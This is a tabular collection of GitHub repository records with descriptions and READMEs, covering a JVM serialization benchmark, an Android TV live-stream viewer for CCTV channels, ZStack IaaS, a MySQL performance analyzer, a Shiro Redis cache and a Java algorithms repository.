| 0 |
eishay/jvm-serializers | Benchmark comparing serialization libraries on the JVM | null | null | 0 |
Eanya-Tonic/CCTV_Viewer | 电视浏览器，一款基于tv.cctv.com和央视频的简易电视直播收看软件，用于方便的在机顶盒上收看电视节目 | null | <p align="center"> <img src="https://github.com/Eanya-Tonic/CCTV_Viewer/blob/master/app/src/main/res/drawable/icon.png" style="width:200px;" /> </p> <h1 align="center">电视浏览器</h1> <p align="center">一个电视机顶盒及Android TV收看电视直播的浏览器 </p>
## 下载安装包
从Github Release下载：https://github.com/Eanya-Tonic/CCTV_Viewer/releases/latest
<br>
从百度网盘下载：https://pan.baidu.com/s/1e5wMCorJIp9oi5yN8mJ1KA?pwd=qozp 提取码：qozp
## 演示视频
**B站：**
[央视浏览器v1.2更新——支持遥控器的电视直播观看软件](https://www.bilibili.com/video/BV1Gc41187D6)
[央视浏览器——一款支持遥控器的便捷电视直播观看软件](https://www.bilibili.com/video/BV1Cg4y1r7Hv)
## 使用方法
**电视盒子：**
<div align=center><p>频道切换列表界面</p></div>
<div align=center><p>菜单键功能菜单</p></div>
使用上下键切换频道，使用确认键显示当前频道和节目信息、并打开频道切换列表，单击菜单键打开功能菜单，输入数字键换到指定台，双击返回键退出程序。
**其他设备：**
使用键盘方向键上下控制切换频道，使用Enter键显示当前频道和节目信息、并打开频道切换列表，单击键盘M键打开功能菜单，输入数字键换到指定台。
## 目前可看频道
1 CCTV-1 综合
2 CCTV-2 财经
3 CCTV-3 综艺
4 CCTV-4 中文国际
5 CCTV-5 体育
6 CCTV-6 电影
7 CCTV-7 军事农业
8 CCTV-8 电视剧
9 CCTV-9 纪录
10 CCTV-10 科教
11 CCTV-11 戏曲
12 CCTV-12 社会与法
13 CCTV-13 新闻
14 CCTV-14 少儿
15 CCTV-15 音乐
16 CCTV-16 奥林匹克
17 CCTV-17 农业农村
18 CCTV-5+ 体育赛事
19 CCTV Europe
20 CCTV America
21 北京卫视
22 江苏卫视
23 东方卫视
24 浙江卫视
25 湖南卫视
26 湖北卫视
27 广东卫视
28 广西卫视
29 黑龙江卫视
30 海南卫视
31 重庆卫视
32 深圳卫视
33 四川卫视
34 河南卫视
35 福建东南卫视
36 贵州卫视
37 江西卫视
38 辽宁卫视
39 安徽卫视
40 河北卫视
41 山东卫视
## 更新日志
**v1.5 更新日志（2024.01.27）**
1.更新菜单键事件逻辑，加入一个底部菜单，并取消原本复杂的双击、单击等机制，使程序更加易用。
2.修改换台菜单逻辑，将原本的弹出界面调整为二级抽屉式菜单，同时改为按确认键触发，更加符合用户的使用习惯；在打开换台界面时，自动切换到目前正在播放的频道。
3.增加一个提示，在换台时会提示目前调用的是系统Webview内核还是腾讯X5内核。
4.修复偶发性的卫视频道播放静音问题。
5.额外更新一个调用系统WebView的版本
**v1.4 更新日志（2024.01.21）**
1.增加央视频的北京卫视、江苏卫视等21个地方卫视频道。
2.尝试修复视频播放暂停的问题，暂时恢复确认键的暂停功能，但是暂停后会自动重新开始播放，仅用于增强兼容性。
3.增加双击确认键可以调整全屏/退出全屏的功能。
4.遥控器左右键可以缩放网页，增强应用兼容性。
5.修改图标、应用名称、增加leanback设置，在原生Android TV启动器上也可以正常显示图标。
6.增加频道选择界面的台号显示，方便数字键换台使用。
7.最低安装限制调整为安卓4.4，API 19。
8.本次更新中，出现了偶发性的卫视频道缩放不正常问题，经测试退出应用再重新打开后可以解决；由于较难复现，我目前不知道问题产生的原因。
**v1.3 更新日志（2024.01.20）**
1.调用本地x5内核，将x5内核集成到安装包中，提高x5内核调用的成功率。
2.自动播放视频，并且禁用确认键暂停功能。
3.修复清晰度选择导致的无法全屏和播放的问题，解决CCTV-6、CCTV-3两个频道由于没有超清清晰度无法选择导致不能全屏和正常播放的问题。
4.增加频道选择菜单，按菜单键激活后可直接选择需要切换的频道。
5.修改操作逻辑，按确定键显示当前频道信息、单击菜单键显示频道列表、双击菜单键刷新当前网页。
**v1.2 更新日志（2024.01.05）**
1.在换台时显示一个“正在切换频道”覆盖层，优化使用体验
2.增加换台后当前频道和当前频道节目预告提示
3.修改按键逻辑，单击菜单键改为显示当前频道和节目信息，长按菜单键改为刷新当前页面
4.改为使用腾讯x5内核，提高程序兼容性
> 下载并安装本软件，即代表您已阅读并同意[腾讯浏览服务X5网页引擎隐私保护规则](https://rule.tencent.com/rule/preview/1c4e2b4b-d0f6-4a75-a5c6-1cfce00a390d)
**v1.1 更新日志（2024.01.04）**
1.优化返回退出逻辑，需要按两次返回键才会退出，避免误触
2.增加数字键换台功能，用户可以通过遥控器上的数字键直接输入台号换台。备注：18号 CCTV-5+ 体育赛事、19号 CCTV-4 中文国际（欧）、20号 CCTV-4 中文国际（美）
| 0 |
zstackio/zstack | ZStack - the open-source IaaS software http://zstack.org (国内用户请至 http://zstack.io) | null | # ZStack: the IaaS software you have been looking for. [https://zstack.org](https://zstack.org)
ZStack is open source IaaS(infrastructure as a service) software aiming to automate datacenters, managing resources of compute, storage,
and networking all by APIs. Users can setup ZStack environments in a download-and-run manner, spending 5 minutes building a POC environment
all on a single Linux machine, or 30 minutes building a multi-node production environment that can scale to hundreds of thousands of physical servers.
ZStack provides the capability of managing everything in a datacenter by APIs, fulfilling the goal of software-defined
datacenter. Users control their clouds using either web UI or command line tool both of which interact with ZStack
management nodes; **NO** scattered configurations, dependent software installation, services HA, and thirdparty monitoring
are needed, all of them are taken care of by ZStack itself, which provides a great simplicity for stable long-term operation.
## Why ZStack?
ZStack is designed to tackle two problems -- complexity and stability -- that users building clouds based on open source
IaaS software have been suffered for a long time.
In terms of complexity, ZStack sticks to the design principles of APIs managing everything, full automation, self-managed services,
no hardware lockin, and user-friendly query APIs, providing a software easy to setup and long-term operation.
In terms of stability, ZStack was born with a plugin system that adding or removing features will not impact existing codes,
a workflow engine that can rollback completed changes on error, a cascade framework that can spread an operation from
a resource to dependent resources, and three rigorous automated testing systems that guard every single feature,
solving the stability issue in architectural designs.
Besides, ZStack is extremely scalable that a single management node is capable of managing hundreds of thousands of
physical servers, managing millions of virtual machines, and serving tens of thousands of concurrent API requests,
particular suitable for building large-scale public clouds.
## Key Strength
#### Scalable
A single management node is capable of managing **hundreds of thousands** of physical servers, managing **millions** of virtual machines,
and serving **tens of thousands** of concurrent API requests.
#### Fast
Operations are **extremely fast**, see below performance data of creating VMs.
<table class="table table-bordered home-table" style="margin-bottom: 0;">
<tr>
<th>VM NUMBER</td>
<th>TIME COST
<i class='fa fa-info-circle' style='cursor:help' title="Limited by hardware, this data is from a mixed environment containing real VMs created on nested virtualization hypervisor and simulator VMs, which are created by 100 threads using only one management node. We are 100% sure the performance will get better in the real data center with decent hardware."></i>
</td>
</tr>
<tr>
<td>1</td>
<td>0.51 seconds</td>
</tr>
<tr>
<td>10</td>
<td>1.55 seconds</td>
</tr>
<tr>
<td>100</td>
<td>11.33 seconds</td>
</tr>
<tr>
<td>1000</td>
<td>103 seconds</td>
</tr>
<tr>
<td>10000</td>
<td>23 minutes</td>
</tr>
</table>
#### Network functions virtualization
The default networking model is built on **NFV(network functions virtualization)**, which provides every tenant a
dedicated networking node implemented by a virtual appliance VM. The whole networking model is self-contained and
self-managed, administrators need neither to purchase special hardware nor to deploy networking servers in front of
computing servers.
#### Comprehensive query APIs
Users can query everything everywhere by about **4,000,000** query conditions and <b>countless</b> query combinations.
You will never need to write ad-hoc scripts or directly access database to search a resource, it's all handled by APIs.
>> QueryVmInstance vmNics.eip.guestIp=16.16.16.16 zone.name=west-coast
>> QueryHost fields=name,uuid,managementIp hypervisorType=KVM vmInstance.allVolumes.size>=549755813888000 vmInstance.state=Running start=0 limit=10
#### Easy to deploy and upgrade
Installation and upgrade are as simple as deploying a **Java WAR file**. A POC environment can be installed in **5 minutes** with
a bootstrap script; A multi-node production environment can be deployed in **30 minutes** including the time you read the
documentation.
Quick access:
* [Product download page(CN)](https://www.zstack.io/product/product_downloads/)
* [Product download page(EN)](https://www.zstack-cloud.com/product/product_downloads/)
#### Full automation
**Everything is managed by APIs**, no manual, scattered configurations in your cloud. And the seamless, transparent integration with
Ansible liberates you from installing, configuring, and upgrading agents on massive hardware.
#### Versatile plugin system
The core orchestration is built on an Eclipse and OSGI like **plugin system** that everything is a plugin. ZStack affirms
that adding or removing features will not impact the core orchestration, promising a robust software the cloud users deserve.
#### Rigorous testing system
**Three full-automated, rigorous testing systems** ensure the quality of every feature.
## Installation
Installation of ZStack is super easy; users can choose different methods depending on their needs to install the first
ZStack environment:
* For users wanting to try out quickly, see [Quick Installation](https://www.zstack-cloud.com/help/en/tutorials/quick_install_guide/v4/).
* For users wanting to deploy a production environment, see [Manual Installation](https://zstack.org/installation/manual.html).
* For users wanting to deploy a multi-node environment, see [Multi-node Installation](https://www.zstack-cloud.com/help/en/tutorials/double_mn_ha_solution/v4/).
Once the installation is done, users can follow one of getting started guides:
* [Getting Started With Quick Installation](https://www.zstack-cloud.com/help/en/tutorials/quick_install_guide/v4/3.html).
* [Getting Started With Manual Installation](https://zstack.org/documentation/getstart-manual.html).
* [Getting Started With Multi-node Installation](https://www.zstack-cloud.com/help/en/tutorials/double_mn_ha_solution/v4/2.html).
## Tutorials
Six tutorials are prepared for your first journey in ZStack, building classic cloud deployments all on one single Linux machine:
##### Elastic IP:
* [Web UI](https://www.zstack-cloud.com/help/en/tutorials/vpc_tutorial/v4/3.html#chapter-3-7-Elastic-IP)
* [Command Line Tool](http://zstack.org/tutorials/ec2-cli.html)
##### Flat Network:
* [Web UI](https://www.zstack-cloud.com/help/en/tutorials/flat_tutorial/v4/)
* [Command Line Tool](https://zstack.org/tutorials/flat-network-cli.html)
##### Three Tiered Network:
* [Web UI](https://zstack.org/tutorials/three-tiered-ui.html)
* [Command Line Tool](https://zstack.org/tutorials/three-tiered-cli.html)
##### Security Group:
* [Web UI](https://www.zstack-cloud.com/help/en/tutorials/vpc_tutorial/v4/3.html#chapter-3-6-Security-Group)
* [Command Line Tool](https://zstack.org/tutorials/security-group-cli.html)
##### Port Forwarding:
* [Web UI](https://www.zstack-cloud.com/help/en/tutorials/vpc_tutorial/v4/3.html#chapter-3-8-Port-Forwarding)
* [Command Line Tool](https://zstack.org/tutorials/elastic-port-forwarding-cli.html)
##### Snapshots:
* [Web UI](https://www-zstack-io.translate.goog/help/tutorials/volume_snapshot_tutorial/v4/1.html?_x_tr_sl=zh-CN&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
* [Command Line Tool](https://zstack.org/tutorials/snapshot-cli.html)
## Under the hood
Under the hood, ZStack is built on an architecture explained by following articles:
##### Scalability:
[ZStack's Scalability Secrets Part 1: Asynchronous Architecture](https://zstack.org/blog/asynchronous-architecture.html)
[ZStack's Scalability Secrets Part 2: Stateless Services](https://zstack.org/blog/stateless-clustering.html)
[ZStack's Scalability Secrets Part 3: Lock-free Architecture](https://zstack.org/blog/lock-free.html)
##### Plugin Architecture:
[The In-Process Microservices Architecture](https://zstack.org/blog/microservices.html)
[The Versatile Plugin System](https://zstack.org/blog/plugin.html)
[The Tag System](https://zstack.org/blog/tag.html)
[The Workflow Engine](https://zstack.org/blog/workflow.html)
[The Cascade Framework](https://zstack.org/blog/cascade.html)
##### Query API:
[The Query API](https://zstack.org/blog/query.html)
##### Automation:
[Full Automation By Ansible](https://zstack.org/blog/ansible.html)
##### Storage And Network:
[Networking Model 1: L2 and L3 Network](https://zstack.org/blog/network-l2.html)
[Networking Model 2: Virtual Router Network Service Provider](https://zstack.org/blog/virtual-router.html)
[Storage Model: Primary Storage and Backup Storage](https://zstack.org/blog/storage.html)
##### Testing:
[The Automation Testing System 1: Integration Testing](https://zstack.org/blog/integration-testing.html)
[The Automation Testing System 2: System Testing](https://zstack.org/blog/system-testing.html)
[The Automation Testing System 3: Model-based Testing](https://zstack.org/blog/model-based-testing.html)
## More Documentation Resources
[ZStack documentation](https://www.zstack-cloud.com/help/en/product_manuals/index.html)
## License
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is
distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and limitations under the License.
| 0 |
yahoo/mysql_perf_analyzer | MySQL performance monitoring and analysis. | big-data java mysql performance-analysis | MySQL Performance Analyzer
======
MySQL Performance Analyzer is an open source project for MySQL performance monitoring and analysis.
This repository includes two sub projects:
* Java web application project myperf
* Java web server jetty wrapper
Build
------
MySQL Performance Analyzer is a Java Maven project.
JDK and Maven 3.0 or later are required to build it.
Although JDK 8 is specified in pom.xml, this project does not use Java 8 specific features, so the user can modify pom.xml files of the two sub projects to use different JDK version.
For example, if the build host only has JDK 7, modify the file myperf/pom.xml, change the lines
```
<source>1.8</source>
<target>1.8</target>
```
to
```
<source>1.7</source>
<target>1.7</target>
```
The build will create a zip file named as myperfserver-server.zip under directory perfJettyServer/target. To build it, at top level, run
```
mvn clean package
```
Installation and Usage Instructions
------
1. Requirement: Java JDK 8, or the one specified by in pom.xml if changed during build time.
2. Unzip myperfserver-server.zip to the desired installation directory. If you intend to install on Windows host, please review two shell scripts and create Windows equivalent.
For future updates, most of the time you only need to copy myperf/target/myperf.war to webapps directory under the installation directory, then restart.
3. For a more formal installation, it is recommended to have a MySQL database server as back store to store the metrics.
Otherwise, use the built-in derby db.
* Create a database, for example, named as metrics, with the MySQL database server.
* Create a MySQL user (for example, 'metrics'@'my_host' -> here my_host is the machine where you MySQL perf analyzer) with all privileges on above schema.
* The above information will be required when you first login to the analyzer to setup metrics gathering.
4. Review script start_myperf.sh to see if you need to modify any command line settings. Usually, port number is the only one you need change
* -f: config, configuration file path. If used, the values inside configuration file will be loaded first, but can be overwritten by command line agruments.
* -j: jettyHome, leave it as it is
* -p: http port to be used, 9092 by default
* -w: war (web archive) file, has to be myperf.war
* -k: working directory, if not specified, it will use ./work
* -c: url context, default to /myperf, leave it as is.
The following are the list allowed in configuration file, which uses Java property file format (name=value pairs)
* jettyHome
* useHttps: value yes/y/no/n/true/false
* port
* webcontextroot
* workdir
* logpath
* warfile
* certKeyStorePath
* certKeyStorePassword
To support https, SSL certificate should be provided (either self signed or signed by third party) and stored in Java keystore using Java keytool
(see https://wiki.eclipse.org/Jetty/Howto/Configure_SSL). If encounter login issue when switch between SSL and non SSL, you have to remove
the browser cookie originated from the server host this application, using any cookie tool provided by the browser.
Modify java command path inside start_myperf.sh, if needed, for example, when there are multiple JDK packages installed.
5. Start up:
```
./start_myperf.sh
```
Check nohup.out and logs directory for any error logs.
6. Shutdown:
```
./stop_myperf.sh
```
7. First time Login and Setup
After startup, point your browser to http://your_host:9092/myperf (or the port number you changed).
Or https://your_host:9092/myperf if https is correctly configured.
The initial login user and credential are myperf/change.
After login, you will be directed to setup page:
* You can add an email address for notifications. The email uses OS "mailx" command.
* Configure the metrics storage database, using the one that you created in the earlier steps.
A metrics scan interval of 1 or 5 minutes should be good enough.
* If use built-in derbydb, choose short retention days.
* After configuration is done, you need to start the scanner ("Start Scanner" button on top of the page).
Everytime you change the configuration, you need to restart the scanner.
* If the scanner does not work as expected, restart the analyzer
```
./stop_myperf.sh
```
then
```
./start_myperf.sh
```
* If your SNMP uses non default community, or not version v2c, use "SNMP Settings" tab to configure SNMP.
Currently only Linux based SNMP is supported. If your MySQL servers are not running on Linux, use
"Alert Settings" tab to disable SNMP metrics polling.
8. For each database server you want to monitor, you need to create a MySQL user with the following privileges:
* process
* replication client
* show databases
* show view
* select on all (if you want to use it to check data dictionary or run explain plans)
9. The analyzer relies on Linux SNMP to gather OS level data. Check snmpd service status.
10. Hipchat integration: if you use hipchat for work related collaboration, you can create a hipchat room to
receive alerts from MySQL Perf Analyzer. Check https://developer.atlassian.com/hipchat/tutorials/building-a-simple-add-on-using-a-wizard
regarding how to setup hipchat integration. After you have hipchat notification URL and auth token, you can configure
MySQL Perf Analyzer to send notification to your room, using Settings page.
Known Limitations
------
1. SNMP is based on the Linux specification.
2. Email notification uses Linux's "mailx" command.
License
------
This code licensed under the Apache license. See the LICENSE file for terms.
| 0 |
alexxiyang/shiro-redis | shiro only provide the support of ehcache and concurrentHashMap. Here is an implement of redis cache can be used by shiro. Hope it will help you! | null | shiro-redis
=============
## Introduction
shiro only provide the support of ehcache and concurrentHashMap. Here is an implement of redis cache can be used by shiro. Hope it will help you!
## Documentation
Official documentation [is located here](http://alexxiyang.github.io/shiro-redis/).
| 0 |
mattdesl/lwjgl-basics | :wrench: LibGDX/LWJGL tutorials and examples | null | null | 0 |
sherxon/AlgoDS | Implementation of Algorithms and Data Structures, Problems and Solutions | algorithms binary-search-tree bst data-structrues dfs dijkstra dynamic-programming graph-algorithms interview-questions java linked-list mergesort search-algorithm shortest-paths sort sorting-algorithms | English | [简体中文](https://github.com/yunshuipiao/AlgoDS/blob/master/README-CN.md)
# Algorithms and Data Structures
This is the collection of **Algorithms, Data Structures** and **Interview Questions** with solutions.
This repository contains my solutions for common algorithmic problems and implementation of Data Structures in Java.
I've created this repository to learn about algorithms. I am adding solutions continuously.
**Algorithms, Data Structures** and **more than 300 Problems and Solutions** are provided so far.
### Questions
Here are questions divided by difficulty level:
1) [Easy Questions](https://github.com/sherxon/AlgoDS/blob/master/src/problems/Easy.txt) and [Answers](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy)
2) [Medium Questions](https://github.com/sherxon/AlgoDS/blob/master/src/problems/Medium.txt) and [Answers](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium)
3) [Hard Questions](https://github.com/sherxon/AlgoDS/blob/master/src/problems/Hard.txt) and [Answers](https://github.com/sherxon/AlgoDS/blob/master/src/problems/hard)
## Problems:
### Arrays
1) [Rotate Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/RotateArray.java)
2) [Contains Duplicate](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ContainsDuplicate.java)
3) [Find Peak Element](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/FindPeakElement.java)
4) [Maximum Subarray](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/MaximumSubarray.java)
5) [Kth Largest Element in an Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/KthLargestElementinanArray.java)
6) [Find All Duplicates in an Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/FindAllDuplicatesinanArray.java)
7) [Longest Increasing Subsequence](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/MaxIncreasingSubsequence.java)
8) [Rotate Image, matrix](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/RotateImage.java)
9) [Shuffle an Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/ShuffleanArray.java)
10) [Find Min in Rotated Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/FindMinimuminRotatedSortedArray.java)
11) [Search in Rotated Array](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/SearchinRotatedSortedArray.java)
### Linked List
1) [Singly Linked List Implementation](https://github.com/sherxon/AlgoDS/blob/master/src/ds/LinkedList.java)
1) [Doubly Linked List Implementation](https://github.com/sherxon/AlgoDS/blob/master/src/ds/DoublyLinkedList.java)
3) [Delete Node in a Linked List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/DeleteNodeSingleLinkedList.java)
4) [Palindrome Linked List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/PalindromeLinkedList.java)
5) [Reverse Linked List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ReverseLinkedList.java)
6) [Intersection of Two Linked Lists](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/IntersectionofTwoLinkedLists.java)
7) [Linked List Cycle](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/LinkedListCycle.java)
8) [Remove Nth Node From End of List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/RemoveNthNodeFromEndofList.java)
9) [Merge Sort List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/SortList.java)
10) [Find Linked List Cycle](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/LinkedListCycle2.java)
11) [Merge k Sorted Lists](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/MergekSortedLists.java)
[And many other Linked list problems](https://github.com/sherxon/AlgoDS/tree/master/src/problems)
### Binary Tree
1) [Binary Tree Level Order Traversal](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/BinaryTreeLevelOrderTraversal.java)
2) [Sum of Left Leaves](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/SumofLeftLeaves.java)
3) [Invert Binary Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/InvertBinaryTree.java)
4) [Binary Search Tree Iterator](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/BinarySearchTreeIterator.java)
5) [Binary Tree Postorder Traversal](https://github.com/sherxon/AlgoDS/blob/master/src/problems/hard/PostOrderTraversalTree.java)
6) [Binary Tree Preorder Traversal](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/BinaryTreePreorderTraversal.java)
7) [Flatten Binary Tree to Linked List](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/FlattenBinaryTreetoLinkedList.java)
8) [Symmetric Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/SymmetricTree.java)
9) [Binary Tree Inorder Traversal](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/BinaryTreeInorderTraversal.java)
10) [Same Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/SameTree.java)
11) [Maximum Depth of Binary Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/MaximumDepthofBinaryTree.java)
12) [Balanced Binary Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/BalancedBinaryTree.java)
13) [Minimum Depth of Binary Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/MinimumDepthofBinaryTree.java)
14) [Sorted List to Balanced Binary Search Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/ConvertSortedListtoBinarySearchTree.java)
15) [Validate Binary Search Tree](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/ValidateBinarySearchTree.java)
16) [Sorted List to Balanced BST ](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/ConvertSortedArraytoBinarySearchTree.java)
17) [Kth Smallest Element in a BST](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/KthSmallestElementinaBST.java)
18) [Binary Tree Zigzag Level Order Traversal](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/ZigZagOrderLevelTraversalBST.java)
19) [Delete Node in a BST](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/DeleteNodeinaBST.java)
20) [Lowest Common Ancestor of BST](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/LowestCommonAncestorBST.java)
21) [Binary Tree Left Side View](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/BinaryTreeLeftSIdeView.java)
22) [Binary Tree Right Side View](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/BinaryTreeRightSideView.java)
23) [Mode in BST](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/FindModeinBST.java)
24) [Most Frequent Subtree Sum](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/MostFrequentSubtreeSum.java)
25) [ Find Largest Element in Each Row](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/FindLargestElementinEachRow.java)
26) [Serialize and Deserialize BT](https://github.com/sherxon/AlgoDS/blob/master/src/problems/hard/SerializeAndDeserializeBT.java)
[And many other tree problems](https://github.com/sherxon/AlgoDS/tree/master/src/problems)
### Math
1) [Integer Break](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/IntegerBreak.java)
2) [Reverse Bits](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ReverseBits.java)
3) [Palindrome Number](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/PalindromeNumber.java)
4) [Math.pow](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/Pow.java)
5) [Jug and Water Problem](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/WaterAndJugProblem.java)
6) [Sieve of Eratosthenes](https://github.com/sherxon/AlgoDS/blob/master/src/algo/numerals/SieveofEratosthenes.java)
7) [Fermat's primality](https://github.com/sherxon/AlgoDS/blob/master/src/algo/numerals/FermatPrimality.java)
8) [Evaluate Reverse Polish Notation](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/EvaluateReversePolishNotation.java)
### Stack & Queue
1) [Min Stack](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/MinStack.java)
2) [Min Queue](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/QueuewithMinimum.java)
3) [Implement Stack Using Queue](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ImplementStackUsingQueues.java)
4) [Implement Queue Using Stack](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ImplementQueueusingStacks.java)
5) [Sort Stack](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/SortStack.java)
### Dynamic Programming
1) [Fibonacci Numbers](https://github.com/sherxon/AlgoDS/blob/master/src/algo/dp/FibonacciNumber.java)
2) [Word Break](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/WordBreak.java)
3) [Subset Sum](https://github.com/sherxon/AlgoDS/blob/master/src/algo/dp/SubsetSum.java)
4) [0/1 Knapsack Problem](https://github.com/sherxon/AlgoDS/blob/master/src/algo/dp/Knapsack01.java)
5) [Shortest Palindrome (KMP)](https://github.com/sherxon/AlgoDS/blob/master/src/problems/hard/ShortestPalindrome.java)
6) [Minimum Square Sum](https://github.com/sherxon/AlgoDS/blob/master/src/algo/dp/MinimumSquareSum.java)
7) [Maximum weight transformation of a String](https://github.com/sherxon/AlgoDS/blob/master/src/algo/dp/MaxWeightTransformation.java)
8) [Coin Change](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/CoinChange.java)
### Misc
1) [Union Find](https://github.com/sherxon/AlgoDS/blob/master/src/algo/UnionFind.java)
2) [Permutations](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/Permutations.java)
3) [Subsets](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/SubSets.java)
## Algorithms
### Sorting And Searching
1) [Bubble Sort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/BubbleSort.java)
2) [Insertion Sort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/InsertionSort.java)
3) [Selection Sort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/SelectionSort.java)
4) [Counting Sort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/CountingSort.java)
5) [Binary Search , Lower & Upper Bounds](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/BinarySearch.java)
6) [MergeSort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/MergeSort.java)
7) [QuickSort](https://github.com/sherxon/AlgoDS/blob/master/src/algo/sortingandsearching/QuickSort.java)
### Graphs
1) [Breadth First Search (BFS)](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/BFS.java)
2) [Depth First Search (DFS)](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/DFS.java)
3) [Prim's Minimum Spanning Tree (MST)](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/PrimsMST.java)
4) [KrusKal's Minimum Spanning Tree (MST)](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/KruskalsMST.java)
5) [Topological Sorting](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/TopologicalSorting.java)
6) [Shortest Path Dijsktra](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/Dijsktra.java)
7) [Shortest Path Bellman-Ford](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/BellmanFord.java)
8) [A* Heuristic Path Finding](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/AStar.java)
9) [Is Graph Bipartite](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/IsBipartite.java)
10) [Is Graph Connected](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/IsConnected.java)
11) [Cycle Detection](https://github.com/sherxon/AlgoDS/blob/master/src/algo/graph/CycleDetection.java)
12) [Undirected Graph Bridge Detection](https://github.com/prafful1/AlgoDS/blob/master/src/algo/graph/BridgeUndirectedGraph.java)
### String
1) [Rabin Karp Subsequence search](https://github.com/sherxon/AlgoDS/blob/master/src/algo/string/RabinKarpSubsequenceSearch.java)
2) [Ransom Note](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/RansomNote.java)
3) [Reverse String](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ReverseString.java)
4) [Longest Common Prefix](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/LongestCommonPrefix.java)
5) [Is Anagram](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ValidAnagram.java)
6) [Needle and Haystack](https://github.com/sherxon/AlgoDS/blob/master/src/problems/easy/ImplementstrSt.java)
7) [Word Break](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/WordBreak.java)
8) [Meta Strings](https://github.com/sherxon/AlgoDS/blob/master/src/problems/medium/MetaStrings.java)
## Data Structure:
### Trees
1) [Binary Search Tree (recursive)](https://github.com/sherxon/AlgoDS/blob/master/src/ds/BST.java)
2) [Binary Search Tree (iterative)](https://github.com/sherxon/AlgoDS/blob/master/src/ds/BSTIterative.java)
